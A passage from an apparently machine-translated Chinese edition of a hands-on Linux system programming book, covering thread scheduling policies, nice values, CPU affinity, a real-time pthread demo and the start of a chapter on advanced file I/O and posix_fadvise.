-所以,现在您可能想知道,如果所有非实时线程(`SCHED_OTHER`CHAP)的优先级都为零,那么我如何支持它们之间的优先级排序呢?嗯,这正是`SCHED_OTHER`线程最好的价值所在:它是(旧的)Unix 风格的优先级模型,现在在 Linux 上,它指定了非实时线程之间的相对优先级。 - -NICE 值是介于**-20**到**+19**之间的优先级范围(在现代 Linux 上),基本优先级为零。 在 Linux 上,它是每个线程的属性;当创建线程时,它继承其创建者线程的 nice 值-缺省值为 0。 请参阅下图: - -![](img/7552b647-8192-4284-ab25-ef4e8ba443a2.png) - -Figure 2: Linux thread priority ranges - -从 2.6.23(使用 CFS 内核调度器)开始,线程的优值对调度有很大的影响(每个优值的优值为 1.25 倍);因此,**-20**优值线程获得的 CPU 带宽要大得多(这对于多媒体等 CPU 敏感型应用很好),而**+19**优值线程获得的 CPU 非常少。 - -应用程序员可以通过`nice(1)`命令行实用程序以及`nice(2)`、`setpriority(2)`和`sched_setattr(2)`系统调用(最后一个是要使用的最新且正确的调用)查询和设置 nice 值。 我们建议您参阅这些 API 的相应手册页。 - -请记住,实时(`SCHED_FIFO`或`SCHED_RR`)线程在优先级方面总是优于`SCHED_OTHER`线程(因此很大程度上保证了它将有机会更早地运行)。 - -# CPU 亲和力 - -为了简单起见,让我们设想一个具有四个 CPU 核心和一个即用线程的 Linux 系统。 这个线程会在哪个 CPU 内核上运行? 内核将决定这一点;要意识到的关键是,它可以在四个可用的 CPU 中的任何一个上运行! - -它可以在程序员指定的 CPU 上运行吗? 是的,确实如此;仅此功能就称为 CPU 亲和性。 在 Linux 上,它是每个线程的属性(在操作系统中)。通过更改线程的 CPU 亲和性掩码,可以在每个线程的基础上更改 CPU 亲和性;当然,这是通过系统调用来实现的。 让我们来看一下以下代码: - -```sh -#define _GNU_SOURCE /* See feature_test_macros(7) */ -#include -int sched_setaffinity(pid_t pid, size_t cpusetsize, - const cpu_set_t *mask); -int sched_getaffinity(pid_t pid, size_t cpusetsize, - cpu_set_t *mask); -``` - -内核调度器将遵守程序员设置的 CPU 掩码-允许线程执行的 CPU 集。 我们需要将 CPU 亲和掩码指定为一个`cpu_set_t`类型的对象。 (我们请读者参考`sched_setaffinity(2)`上的手册页,其中提供了一个示例程序)。 - -请注意,pthreads 框架提供了包装器 API:`pthread_setaffinity_np(3)`和`pthread_getaffinity_np(3)`,以便在给定的线程上执行相同的操作(它们在内部调用了`sched_setaffinity(2)`的系统调用)。 - -一个有趣的设计是 CPU 预留。 在一个足够多核的系统上(假设我们的系统有四个 CPU 核心:0、1、2 和 3),您可以使用前面的 CPU 亲和性掩码模型来有效地为对性能至关重要的给定线程(一个或多个线程)预留一个 CPU 核心(比如核心 3)。 这意味着您必须将该线程的 CPU 掩码设置为特定的 CPU(比方说核心 3),重要的是,将所有其他线程的 CPU 掩码设置为完全排除核心 3。 - -虽然这听起来可能很简单,但这真的不是一件微不足道的事情;出现这种情况的一些原因如下: - -* 您必须意识到,预留的 CPU 实际上并不是专门为指定的线程预留的;对于真正的 CPU 预留,除了在该 CPU 上运行的给定线程外,必须以某种方式排除整个系统上的所有其他线程在该 CPU 上运行。 -* 一般来说,操作系统调度程序最了解如何在可用 CPU 核心之间分配 CPU 带宽(它有一个负载平衡器组件,并且了解 CPU 层次结构);因此,CPU 分配最好留给操作系统。 - -Modern Linux kernels have support for a very powerful feature: **control groups** (**cgroups**). (see [Appendix B](https://www.packtpub.com/sites/default/files/downloads/Daemon_Processes.pdf), *Daemon Processes*, for a note). With regard to CPU reservation, it can be achieved via the cgroup model. Please refer to the following Q&A on Stack Overflow for more details: *How to use cgroups to limit all processes except whitelist to a single CPU*:[https://unix.stackexchange.com/questions/247209/how-to-use-cgroups-to-limit-all-processes-except-whitelist-to-a-single-cpu](https://unix.stackexchange.com/questions/247209/how-to-use-cgroups-to-limit-all-processes-except-whitelist-to-a-single-cpu). - -为方便起见,Linux 提供了`taskset(1)`实用程序作为查询和指定任何给定进程(或线程)的 CPU 亲和性掩码的简单方法。 这里,我们将查询两个进程的 CPU 亲和性掩码。 (我们假设我们运行的系统有四个 CPU 核心;我们可以使用`lscpu(1)`来查询这一点): - -```sh -$ taskset -p 1 -pid 1's current affinity mask: f -$ taskset -p 12446 -pid 12446's current affinity mask: 7 -$ -``` - -PID 1 的(Systemd)CPU 亲和掩码是`0xf`,当然,它是二进制的`1111`。 如果设置了位`1`,则意味着线程可以在该位表示的 CPU 上运行。 如果第一位被清除`0`,则意味着线程不能在该位所代表的 CPU 上运行。 正如预期的那样,在四个 CPU 的机器上,CPU 亲和位掩码默认为 0xf(1111),这意味着进程(或线程)可以在任何可用的 CPU 上运行。 有趣的是,在前面的输出中,bash 进程似乎有一个 CPU 亲和性掩码`7`,它可以转换为二进制`0111`,这意味着它永远不会被安排在 CPU 3 上运行。 - -在下面的代码中,一个简单的 shell 脚本在循环中调用`chrt(1)`和`taskset(1)`实用程序,显示系统上活动的每个进程的调度策略、(实时)优先级和 CPU 关联掩码: - -```sh -# ch17/query_sched_allprcs.sh -for p in $(ps -A -To pid) -do - chrt -p $p 2>/dev/null - taskset -p $p 2>/dev/null -done -``` - -我们鼓励读者在他们自己的系统上试用。在下面的代码中,我们为任何`SCHED_FIFO`任务提供了`grep(1)`选项: - -```sh -$ ./query_sched_allprcs.sh | grep -A2 -w SCHED_FIFO -pid 12's current scheduling policy: SCHED_FIFO -pid 12's current scheduling priority: 99 -pid 12's current affinity mask: 1 -pid 13's current scheduling policy: SCHED_FIFO -pid 13's current scheduling priority: 99 -pid 13's current affinity mask: 1 --- -pid 16's current scheduling policy: SCHED_FIFO -pid 16's current scheduling priority: 99 -pid 16's current affinity mask: 2 -pid 17's current scheduling policy: SCHED_FIFO -pid 17's current scheduling priority: 99 -pid 17's current affinity mask: 2 --- -[...] -``` - -是!。 我们找到了一些线索。 哇,它们都是`SCHED_FIFO`实时优先级 99!让我们来看看这些线程是谁(也有一个很酷的一行脚本): - -```sh -$ ps aux | awk '$2==12 || $2==13 || $2==16 || $2==17 {print $0}' -USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND -root 12 0.0 0.0 0 0 ? S 13:42 0:00 [migration/0] -root 13 0.0 0.0 0 0 ? S 13:42 0:00 [watchdog/0] -root 16 0.0 0.0 0 0 ? S 13:42 0:00 [watchdog/1] -root 17 0.0 0.0 0 0 ? S 13:42 0:00 [migration/1] -$ -``` - -For clarity, the `ps aux` heading—which would not normally be displayed—is shown in the preceding code. Also, we use the `ps aux` style as, conveniently, kernel threads are displayed in brackets. - -事实证明(在这里,至少在这个特定示例中)它们都是内核线程(参见下面的信息框)。 需要理解的重要一点是,它们被故意设置为`SCHED_FIFO`(实时)优先级 99,这样,当它们想要在 CPU 上运行时,它们几乎可以立即运行。事实上,让我们来看看它们的 CPU 亲和性掩码:它是被故意分配的(值为 1,2,4,8),以便它们与特定的 CPU 内核相关联。 重要的是要理解,这些内核线程不是 CPU 占用者;实际上,它们会在大部分时间处于休眠状态(状态**S**),只有在需要时才会立即开始行动。 - -Kernel threads are not very different from their user space counterparts; they too compete for the CPU resource. The key difference is that kernel threads have no view of user space—they only execute in kernel virtual address space (whereas user space threads, of course, see both: userland in normal user mode and, upon issuing a system call, they switch to kernel space). - -# 利用 Linux 的软实时能力 - -回想一下,在本章早些时候,我们指出:Linux 上的软实时调度策略设计遵循所谓的固定优先级抢占式调度;固定优先级意味着应用决定和固定线程优先级(并且可以更改它);操作系统不能。 - -不仅应用可以在线程优先级之间切换,甚至调度策略(实际上是操作系统在幕后使用的调度算法)也可以由应用开发人员更改;这可以在每个线程的基础上完成。这确实非常强大;这意味着,比如说有五个线程的应用可以决定为每个线程分配什么调度策略和优先级! - -# 调度策略和优先级 API - -显然,为了实现这一点,操作系统必须公开一些 API;实际上,有几个系统调用正好可以处理这一点-更改给定进程或线程的调度策略和优先级。 - -以下是这些 API 中一些更重要的 API 的列表(实际上是一个示例): - -* `sched_setscheduler(2)`:设置指定线程的调度策略和参数。 -* `sched_getscheduler(2)`:返回指定线程的调度策略。 -* `sched_setparam(2)`:设置指定线程的调度参数。 -* `sched_getparam(2)`:*获取指定线程的调度参数。 -* `sched_get_priority_max(2)`:返回指定调度策略中可用的最高优先级。 -* `sched_get_priority_min(2)`:返回指定调度策略中可用的最低优先级。 -* `sched_rr_get_interval(2)`:获取在循环调度策略下调度的线程所使用的量程。 -* `sched_setattr(2)`:设置指定线程的调度策略和参数。 这个(特定于 Linux 的)系统调用提供了`sched_setscheduler(2)`和`sched_setparam(2)`功能的超集。 -* `sched_getattr(2)`:*获取指定线程的调度策略和参数。 这个(特定于 Linux 的)系统调用提供了`sched_getscheduler(2)`和`sched_getparam(2)`功能的超集。 - -`sched_setattr(2)` and `sched_getattr(2)` are currently considered to be the latest and more powerful of these APIs. Also, on Ubuntu, one can issue the convenient `man -k sched` command to see all utils and APIs related to scheduling (-k: keyword). - -敏锐的读者很快就会注意到,我们之前提到的所有 API 都是系统调用(手册第 2 节),但是 pthread 和 API 呢? 实际上,它们确实存在,正如您可能已经猜到的那样,它们大多只是调用底层系统调用的包装器;在下面的代码中,我们展示了其中的两个: - -```sh -#include -int pthread_setschedparam(pthread_t thread, int policy, - const struct sched_param *param); -int pthread_getschedparam(pthread_t thread, int *policy, - struct sched_param *param); -``` - -需要注意的是,为了设置线程(或进程)的调度策略和优先级,您需要以超级用户权限运行。回想一下,向线程授予特权的现代方法是通过 Linux 功能模型(我们在[第 8 章](08.html),*进程功能*中详细介绍了这一点)。 具有能力`CAP_SYS_NICE`的线程可以任意地将其调度策略和优先级设置为它想要的任何值。 想想看:如果情况并非如此,那么几乎所有的应用都会坚持它们以`SCHED_FIFO`优先级 99 运行,从而有效地使整个概念变得毫无意义! - -`pthread_setschedparam(3)`在内部调用`sched_setscheduler(2)`命令系统调用,`pthread_getschedparam(3)`命令在幕后调用命令`sched_getscheduler(2)`命令系统调用。 他们的 API 签名是: - -```sh -#include -int sched_setscheduler(pid_t pid, int policy, - const struct sched_param *param); -int sched_getscheduler(pid_t pid); -``` - -其他 pthreadAPI 也存在。 请注意,这里显示的帮助设置线程属性结构:`pthread_attr_setinheritsched(3)`、`pthread_attr_setschedparam(3)`、`pthread_attr_setschedpolicy(3)`、`pthread_attr_setschedpolicy(3)`、`pthread_setschedprio(3)`,仅举几例。 - -The man page on `sched(7)` (look it up by typing `man 7 sched` in a terminal window) details the available APIs for controlling scheduling policy, priority, and behavior for threads. It provides details on current Linux scheduling policies, privileges required to change them, relevant resource limit values, and kernel tunables for scheduling, as well as other miscellaneous details. - -# 代码示例:设置线程调度策略和优先级 - -为了帮助巩固我们在本章前面几节中了解到的概念,我们将设计并实现一个小型演示程序,说明现代 Linux pthread 应用如何设置单个线程的调度策略和优先级,以使所有线程(软)实时。 - -我们的演示应用总共有三个线程。 第一个当然是`main()`。 以下要点显示了该应用的设计目的: - -* 线程 0(真的是`main()`): - 这作为`SCHED_OTHER`调度策略运行,实时优先级为 0,这不是默认设置。 它执行以下操作: - * 查询`SCHED_FIFO`的优先级范围,打印值 - * 创建两个工作线程(将可接合性状态设置为已分离);它们将自动继承 Main 的调度策略和优先级 - * 在循环中将字符`m`打印到终端(使用我们的`DELAY_LOOP`宏;打印时间比平时稍长) - * 终止 -* 工作线程 1: - * 将其调度策略更改为`SCHED_RR`,将其实时优先级设置为在命令行上传递的值 - * 休眠 2 秒(从而阻塞 I/O,允许 Main 完成一些工作) - * 唤醒后,它将字符`1`循环打印到终端(通过`DELAY_LOOP`宏)。 - * 终止 -* 工作线程 2: - * 将其调度策略更改为`SCHED_FIFO`,将其实时优先级设置为在命令行上传递的值加上 10 - * 休眠 4 秒(从而阻塞 I/O,允许线程 1 执行某些工作) - * 在唤醒后,它将字符`2`循环打印到终端 - * 终止 - -让我们快速查看一下代码(`ch17/sched_rt_eg.c`): - -For readability, only key parts of the source code are displayed here; to view the complete source code, and build and run it, the entire tree is available for cloning from GitHub here: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux). - -以下代码是`main()`的代码。 (我们省略了显示错误检查代码): - -```sh -#define NUMWORK 200 -... - min = sched_get_priority_min(SCHED_FIFO); - max = sched_get_priority_max(SCHED_FIFO); - printf("SCHED_FIFO: priority range is %d to %d\n", min, max); - rt_prio = atoi(argv[1]); -... - ret = pthread_create(&tid[0], &attr, worker1, (void *)rt_prio); - ret = pthread_create(&tid[1], &attr, worker2, (void *)rt_prio); - pthread_attr_destroy(&attr); - DELAY_LOOP('m', NUMWORK+100); - printf("\nmain: all done, app exiting ...\n"); - pthread_exit((void *)0); -} -``` - -以下代码用于工作线程 1。我们省略了错误检查代码的显示: - -```sh -void *worker1(void *msg) -{ - struct sched_param p; - printf(" RT Thread p1 (%s():%d:PID %d):\n" - " Setting sched policy to SCHED_RR and RT priority to %ld" - " and sleeping for 2s ...\n", __func__, __LINE__, getpid(), (long)msg); - - p.sched_priority = (long)msg; - pthread_setschedparam(pthread_self(), SCHED_RR, &p); - sleep(2); - puts(" p1 working"); - DELAY_LOOP('1', NUMWORK); - puts(" p1: exiting.."); - pthread_exit((void *)0); -} -``` - -工作线程 2 的代码与前一个工作线程的代码几乎相同;不过,不同之处在于我们将策略设置为`SCHED_FIFO`,并且实时优先级提高了 10 个点,从而使其更具侵略性。 我们仅在此处显示此代码片段: - -```sh - p.sched_priority = prio + 10; - pthread_setschedparam(pthread_self(), SCHED_FIFO, &p); - sleep(4); - puts(" p2 working"); - DELAY_LOOP('2', NUMWORK); -``` - -让我们构建它(我们绝对建议构建调试版本,因为这样就可以清楚地看到`DELAY_LOOP`宏的效果),并给它一个旋转: - -```sh -$ make sched_rt_eg_dbg -gcc -g -ggdb -gdwarf-4 -O0 -Wall -Wextra -DDEBUG -pthread -c sched_rt_eg.c -o sched_rt_eg_dbg.o -gcc -o sched_rt_eg_dbg sched_rt_eg_dbg.o common_dbg.o -pthread -lrt -$ -``` - -我们必须以超级用户身份运行我们的应用;我们使用`sudo(8)`命令来执行此操作: - -```sh -$ sudo ./sched_rt_eg_dbg 14 -SCHED_FIFO: priority range is 1 to 99 -main: creating RT worker thread #1 ... -main: creating RT worker thread #2 ... - RT Thread p1 (worker1():68:PID 18632): - Setting sched policy to SCHED_RR and RT priority to 14 and sleeping for 2s ... -m RT Thread p2 (worker2():101:PID 18632): - Setting sched policy to SCHED_FIFO and RT priority to 24 and sleeping for 4s ... -mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm p1 working -1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m11m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m11m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m1m11m1m1m p2 working -2m12m12m1m2m12m12m1m2m12m12m1m2m12m12m12m12m12m112m12m12m12m112m12m12m112m12m12m112m12m12m12m112m12m12m121m211m21m21m21m211m21m21m21m211m21m21m21m211m21m21m21m211m21m21m21m211m21m21m21 -main: all done, app exiting ... -$ -``` - -在前面的输出中,我们可以看到以下字符: - -* `m`:这意味着主线程当前正在 CPU 上运行 -* `1`:这意味着线程 1 的(软)实时工作线程当前正在 CPU 上运行 -* `2`:这意味着线程 2 的(软)实时工作线程当前正在 CPU 上运行 - -但是,哎呀,前面的输出确实不是我们所期望的:`m`、`1`和`2`的字符没有混合在一起,这使我们得出结论,它们已经被时间切片。 - -但事实并非如此。 想想看--输出与前面代码中显示的一样,原因很简单,因为我们已经在多核操作系统上运行了应用(在前面代码中,是在有四个 CPU 内核的笔记本电脑上);因此,内核调度器巧妙地利用了硬件,并在不同的 CPU 内核上并行运行了所有三个线程! 因此,为了让我们的演示应用以我们预期的方式运行,我们需要确保它只在一个 CPU 核心上运行,而不是更多。 多么?。 回想一下 CPU 亲和力:我们可以使用`sched_setaffinity(2)`的系统调用来实现这一点。还有一种更简单的方法:我们可以使用`taskset(1)`来保证进程(以及其中的所有线程)只在一个 CPU 核心(例如,CPU 0)上运行,方法是将 CPU 掩码值指定为`01`。 因此,让我们执行以下命令: - -```sh -$ sudo taskset 01 ./sched_rt_eg_dbg 14 -[sudo] password for : xxx -SCHED_FIFO: priority range is 1 to 99 -main: creating RT worker thread #1 ... -main: creating RT worker thread #2 ... -m RT Thread p2 (worker2():101:PID 19073): - Setting sched policy to SCHED_FIFO and RT priority to 24 and sleeping for 4s ... - RT Thread p1 (worker1():68:PID 19073): - Setting sched policy to SCHED_RR and RT priority to 14 and sleeping for 2s ... -mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm p1 working -11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 p2 working -22222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222 p2 exiting ... -111111111111111111111111111111111111111111111111111111111111111111111111 p1: exiting.. -mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm -main: all done, app exiting ... -$ -``` - -是的,使用命令`taskset(1)`来确保整个应用-所有三个线程-都运行在第一个 CPU 内核上,具有预期的效果。 现在,仔细研究前面的输出;我们可以看到,`main()`线程(非实时)首先运行了大约 2 秒;一旦经过了 2 秒,工作线程 1 就会被唤醒,变得可运行。 由于其策略和优先级远远超过 main(),因此它抢占 main()并运行,并将 1 打印到终端。 请记住,工作线程 2 也在并行运行,但是,当然,它会休眠 4 秒。 因此,2 秒后-总共经过 4 秒-工作线程 2 唤醒,变为可运行。 因为它的策略是`SCHED_FIFO`,更重要的是,它的优先级比线程 1 高 10 个点,所以它会抢占线程 1 并运行,并将`2s`打印到终端。 在终止之前,其他线程不能运行;一旦终止,工作线程 1 就会运行。 同样,除非终止,否则 main()不能运行;一旦终止,main()最终获得 CPU 并结束,因此应用终止。 有意思,一定要亲自试一试。 - -供您参考,`pthread_setschedparam(3)`上的手册页有一个相当详细的示例程序:[http://man7.org/linux/man-pages/man3/pthread_setschedparam.3.html](http://man7.org/linux/man-pages/man3/pthread_setschedparam.3.html)。 - -# 软实时监控的额外考虑因素 - -需要考虑的其他几点是:我们能够将线程与(软)实时操作系统策略和优先级相关联(但需要注意,我们拥有 root 访问权限;或者 CAP_SYS_NICE 功能)。 对于大多数人类交互式应用域来说,这不仅是不必要的,而且会给典型的桌面或服务器系统终端用户带来令人不安的反馈和副作用。 一般来说,您应该避免在交互式应用上使用这些实时监控策略。 只有在必须对线程进行高优先级排序时-通常对于实时应用(可能在嵌入式 Linux 系统上运行),或者某些类型的基准测试或评测软件(`perf(1)`就是一个很好的例子;可以将`--realtime=n`参数指定为`perf`以使其作为`SCHED_FIFO`优先级`n`运行),您才应该考虑使用这些强大的技术。 - -此外,要使用的精确实时优先级留给应用架构师;对`SCHED_FIFO`和`SCHED_RR`线程使用相同的优先级值(请记住,这两个策略都是对等的,而`SCHED_FIFO`更积极)可能会导致不可预测的调度。 仔细考虑设计,并相应地设置每个实时线程的策略和优先级。 - -最后,虽然本书没有详细介绍,但 Linux 的 cgroup 模型允许您对给定进程或进程组的资源(CPU、网络和块 I/O)的带宽分配进行强有力的控制。 如果这是必需的,请考虑使用 cgroup 框架来实现您的目标。 - -# RTL-作为 RTOS 的 Linux - -事实上,尽管看起来很不可思议,Linux 操作系统还是可以作为 RTOS 使用;也就是说,它是一个具有硬实时能力的 RTOS。这个项目最初是由 Thomas Gleixner(Linutronix 公司的)提出的,他想把 Linux 移植成 RTOS。 - -Again, this is really the beauty of the open source model and Linux; being open source, interested, and motivated people take Linux (or other projects) as a starting point and build upon it, often coming up with significantly new and useful products. - -关于这个项目,有几点需要注意: - -* 将 Linux 内核修改为 RTOS 是一个必然具有侵入性的过程;Linus Torvalds,事实上的 Linux 老板,不希望在上游(普通)Linux 内核中使用这种代码。 因此,实时 Linux 内核项目以补丁系列的形式存在(在 kernel.org 本身上;有关更多信息,请参阅*进一步阅读*部分中关于 GitHub 存储库的链接),这些补丁可以应用于主线内核。 -* 这项工作从 2.6.18 Linux 内核开始就已经成功完成(可能是在 2006 或 2007 年左右)。 -* 多年来,这个项目被称为 Preempt-RT(补丁本身称为 Preempt_RT)。 -* 后来(从 2015 年 10 月起),该项目的管理工作由**Linux Foundation**(**LF**)接管--这是一个积极的步骤。 名称从抢占 RT 改为**实时 Linux**(**RTL**)。 -* 实际上,RTL 路线图的目标是将相关的 preempt_rt 工作推向上游(进入主线 Linux 内核;有关这方面的链接,请参阅 GitHub 存储库上的部分中的*进一步阅读)。* - -实际上,您可以应用适当的 RTL 补丁,然后将 Linux 用作硬实时操作系统。 业界已经开始使用该项目(在工业控制应用、无人机、视频和电视摄像机中);我们只能想象这一项目将会有巨大的增长。 同样重要的是要注意,拥有硬实时操作系统对于真正的实时使用是不够的;即使是最新的应用也必须编写以符合实时预期。 一定要查看 RTL 项目维基站点提供的*HOWTO*文档(请参阅有关 GitHub 存储库的*进一步阅读*部分)。 - -# 简略的 / 概括的 / 简易判罪的 / 简易的 - -在本章中,我们介绍了与 Linux 上的 CPU 调度和实时相关的重要概念。 读者已经了解了有关 Linux 线程状态机、实时、CPU 亲和性和可用的 POSIX 调度策略的渐进主题。 此外,我们还展示了用于利用这些强大机制的 API-无论是在 pthread 层还是在系统调用层。 一个演示应用强化了我们学到的概念。 最后,简要介绍了 Linux 也可以用作硬实时(RTOS)这一事实。 - -在下一章中,读者将了解如何使用现代技术实现最佳 I/O 性能。 \ No newline at end of file diff --git a/docs/handson-sys-prog-linux/18.md b/docs/handson-sys-prog-linux/18.md deleted file mode 100644 index 5fe3585a..00000000 --- a/docs/handson-sys-prog-linux/18.md +++ /dev/null @@ -1,576 +0,0 @@ -# 十八、高级文件 I/O - -在[附录 A](https://www.packtpub.com/sites/default/files/downloads/File_IO_Essentials.pdf),*File I/O Essentials*中,我们介绍了应用开发人员如何利用可用的 glibc 库 API 以及执行文件 I/O(打开、读取、写入和关闭)的典型系统调用。 当然,虽然它们起作用了,但实际情况是性能并没有真正优化。 在本章中,我们将重点介绍更高级的文件 I/O 技术,以及开发人员如何利用更新和更好的 API 来获得性能。 - -通常,人们会对 CPU 及其性能感到压力。 虽然很重要,但在许多(如果不是大多数)实际应用工作负载中,拖累性能的不是 CPU,而是 I/O 代码路径。 这是可以理解的;回想一下,在[第 2 章](02.html),*虚拟内存*中,我们发现与 RAM 相比,磁盘速度慢了几个数量级。 网络 I/O 的情况与此类似,因此,由于大量持续的磁盘和网络 I/O,自然会出现真正的性能瓶颈。 - -在本章中,读者将学习提高 I/O 性能的几种方法;一般而言,这些方法包括以下几种: - -* 充分利用内核页面缓存 -* 向内核提供有关文件使用模式的提示和建议 -* 使用分散聚集(矢量化)I/O -* 利用内存映射进行文件 I/O -* 了解和使用复杂的 DIO 和 AIO 技术 -* 了解 I/O 调度程序 -* 用于监视、分析和控制 I/O 带宽的实用程序/工具/API/cgroup - -# I/O 性能建议 - -执行 I/O 时的另一个关键点是意识到底层存储(磁盘)硬件比 RAM 慢得多。 因此,设计策略以最大限度地减少对磁盘的访问,并利用内存进行更多工作总是有帮助的。 事实上,库层(我们已经相当详细地讨论了工作室的缓冲功能)和操作系统(通过页面缓存和块 I/O 层中的其他功能,事实上,甚至在现代硬件中)都将执行大量工作来确保这一点。 对于(系统)应用开发人员,下面提出一些需要考虑的建议。 - -如果可行,在对文件执行 I/O 操作时使用较大的缓冲区(用于保存读取或写入的数据),但有多大呢? 一个不错的经验法则是对本地缓冲区使用与文件所在文件系统的 I/O 块大小相同的大小(实际上,此字段在内部记录为文件系统 I/O 的块大小)。 要查询它很简单:在您想要执行 I/O 的文件上发出`stat(1)`命令。举个例子,假设在 Ubuntu 18.04 系统上,我们想要读入当前运行的内核配置文件的内容: - -```sh -$ uname -r -4.15.0-23-generic -$ ls -l /boot/config-4.15.0-23-generic --rw-r--r-- 1 root root 216807 May 23 22:24 /boot/config-4.15.0-23-generic -$ stat /boot/config-4.15.0-23-generic - File: /boot/config-4.15.0-23-generic - Size: 216807 Blocks: 424 IO Block: 4096 regular file -Device: 801h/2049d Inode: 398628 Links: 1 -Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root) -Access: 2018-07-30 12:42:09.789005000 +0530 -Modify: 2018-05-23 22:24:55.000000000 +0530 -Change: 2018-06-17 12:36:34.259614987 +0530 - Birth: - -$ -``` - -从代码中可以看出,`stat(1)`揭示了内核中文件索引节点数据结构的几个文件特征(或属性),其中包括 I/O 块大小。 - -在内部,`stat(1)`命令实用程序发出`stat(2)`命令系统调用,该系统调用解析底层文件的 inode 命令,并将所有详细信息提供给用户空间。 因此,当以编程方式需要时,请使用`[f]stat(2)`和 API。 - -此外,如果内存不是限制,为什么不分配一个中等到非常大的缓冲区并通过它执行 I/O;这会有所帮助。 确定有多大需要在目标平台上进行一些调查;让您了解一下,在早期,管道 I/O 使用一页大小的内核缓冲区;在现代 Linux 内核上,管道 I/O 缓冲区大小默认增加到一兆字节。 - -# 内核页面缓存 - -正如我们从[附录 A](https://www.packtpub.com/sites/default/files/downloads/File_IO_Essentials.pdf)、*File I/O Essentials*中了解到的,当进程(或线程)通过例如使用`fread(3)`或`fwrite(3)`库层 API 来执行文件 I/O 时,它们最终通过`read(2)`和`write(2)`系统调用被发布到底层操作系统。 这些系统调用让内核执行 I/O;虽然看起来很直观,但实际情况是读写系统调用并不同步;也就是说,它们可能会在实际 I/O 完成之前返回。 (显然,对文件的写入就是这种情况;同步读取必须将读取的数据返回到用户空间内存缓冲区;在此之前,读取块。 然而,使用**异步 I/O**(**AIO**),甚至可以进行异步读取。) - -事实上,在内核中,每个单文件 I/O 操作都缓存在称为*页缓存*的全局内核缓存中。 因此,当进程将数据写入文件时,数据缓冲区不会立即刷新到底层块设备(磁盘或闪存),而是缓存在页面缓存中。 类似地,当进程从底层块设备读取数据时,数据缓冲区不会立即复制到用户空间进程内存缓冲区;不,您猜对了,它首先存储在页面缓存中(进程实际上将从那里接收数据)。 再次参考[附录 A](https://www.packtpub.com/sites/default/files/downloads/File_IO_Essentials.pdf),*文件 I/O 要点*,*图 3:更多详细信息-APP 到 Stdio,I/O 从缓冲区到内核页面缓存*,查看这一点。 - -为什么内核页面缓存中的这种缓存是有帮助的? 简单:通过利用缓存的关键属性,即缓存内存区域(RAM)和缓存区域(块设备)之间的速度差异,我们可以获得极高的性能。 页面缓存位于 RAM 中,因此,当应用对文件数据执行读取时,(尽可能地)保持所有文件 I/O 的内容被缓存几乎可以保证对缓存的命中;从 RAM 读取要比从存储设备读取快得多。 类似地,内核不是缓慢而同步地将应用数据缓冲区直接写入块设备,而是将写数据缓冲区缓存在页面缓存中。 显然,将写入的数据刷新到底层块设备以及页面缓存内存本身的管理工作完全在 Linux 内核的工作范围内(我们在这里不讨论这些内部细节)。 - -程序员总是可以显式地将文件数据刷新到底层存储设备;我们已经在[附录 A](https://www.packtpub.com/sites/default/files/downloads/File_IO_Essentials.pdf)、*File I/O Essentials*中介绍了相关 API 及其用法。 - -# 向内核提供有关文件 I/O 模式的提示 - -我们现在了解到内核将所有文件 I/O 缓存在其页面缓存中;这对性能有好处。 考虑一个例子很有用:一个应用设置一个非常大的视频文件并对其执行流式读取(在某个应用窗口中向用户显示它;我们将假设特定的视频文件是第一次被访问)。 很容易理解,一般来说,在从磁盘读取文件时对其进行缓存会有所帮助,但在这里,在这种特殊情况下,它不会有太大帮助,因为第一次,我们仍然需要先去磁盘并将其读入。 因此,我们耸耸肩,继续以通常的方式对其进行编码,顺序读取视频数据块(通过其底层编解码器),并将其传递给呈现代码。 - -# 通过 POSIX_fise(2)API - -我们能做得更好吗? 是的,确实是这样:Linux 提供了完整的`posix_fadvise(2)`系统调用,允许应用进程通过名为`advice`的参数向内核提供有关其文件数据访问模式的提示。 与我们的示例相关的是,我们可以将通知作为值`POSIX_FADV_SEQUENTIAL`、`POSIX_FADV_WILLNEED`传递,以通知内核我们希望按顺序读取文件数据,并且我们希望在不久的将来需要访问文件数据。 此建议会导致内核按顺序(从低到高的文件偏移量)在内核页面缓存中启动积极的文件数据预读。 这将极大地帮助提高性能。 - -`posix_fadvise(2)`系统调用的签名如下: - -```sh -#include -int posix_fadvise(int fd, off_t offset, off_t len, int advice); -``` - -显然,第一个参数`fd`表示文件描述符(我们请读者参阅[附录 A](https://www.packtpub.com/sites/default/files/downloads/File_IO_Essentials.pdf),*File I/O Essentials*),第二个和第三个参数`offset`和`len`指定文件的一个区域,我们通过第四个参数`advice`在该区域上传递提示或建议。 (长度实际上向上舍入为页面粒度。) - -不仅如此,应用在完成对视频数据块的处理后,甚至可以通过调用`posix_fadvise(2)`并将建议设置为值`POSIX_FADV_DONTNEED`来向 OS 指定它将不再需要该特定的内存块;这将是对内核的一个提示,即它可以释放保存该数据的页面缓存的页面,从而为重要的传入数据(以及可能仍然有用的已经缓存的数据)创建空间。 - 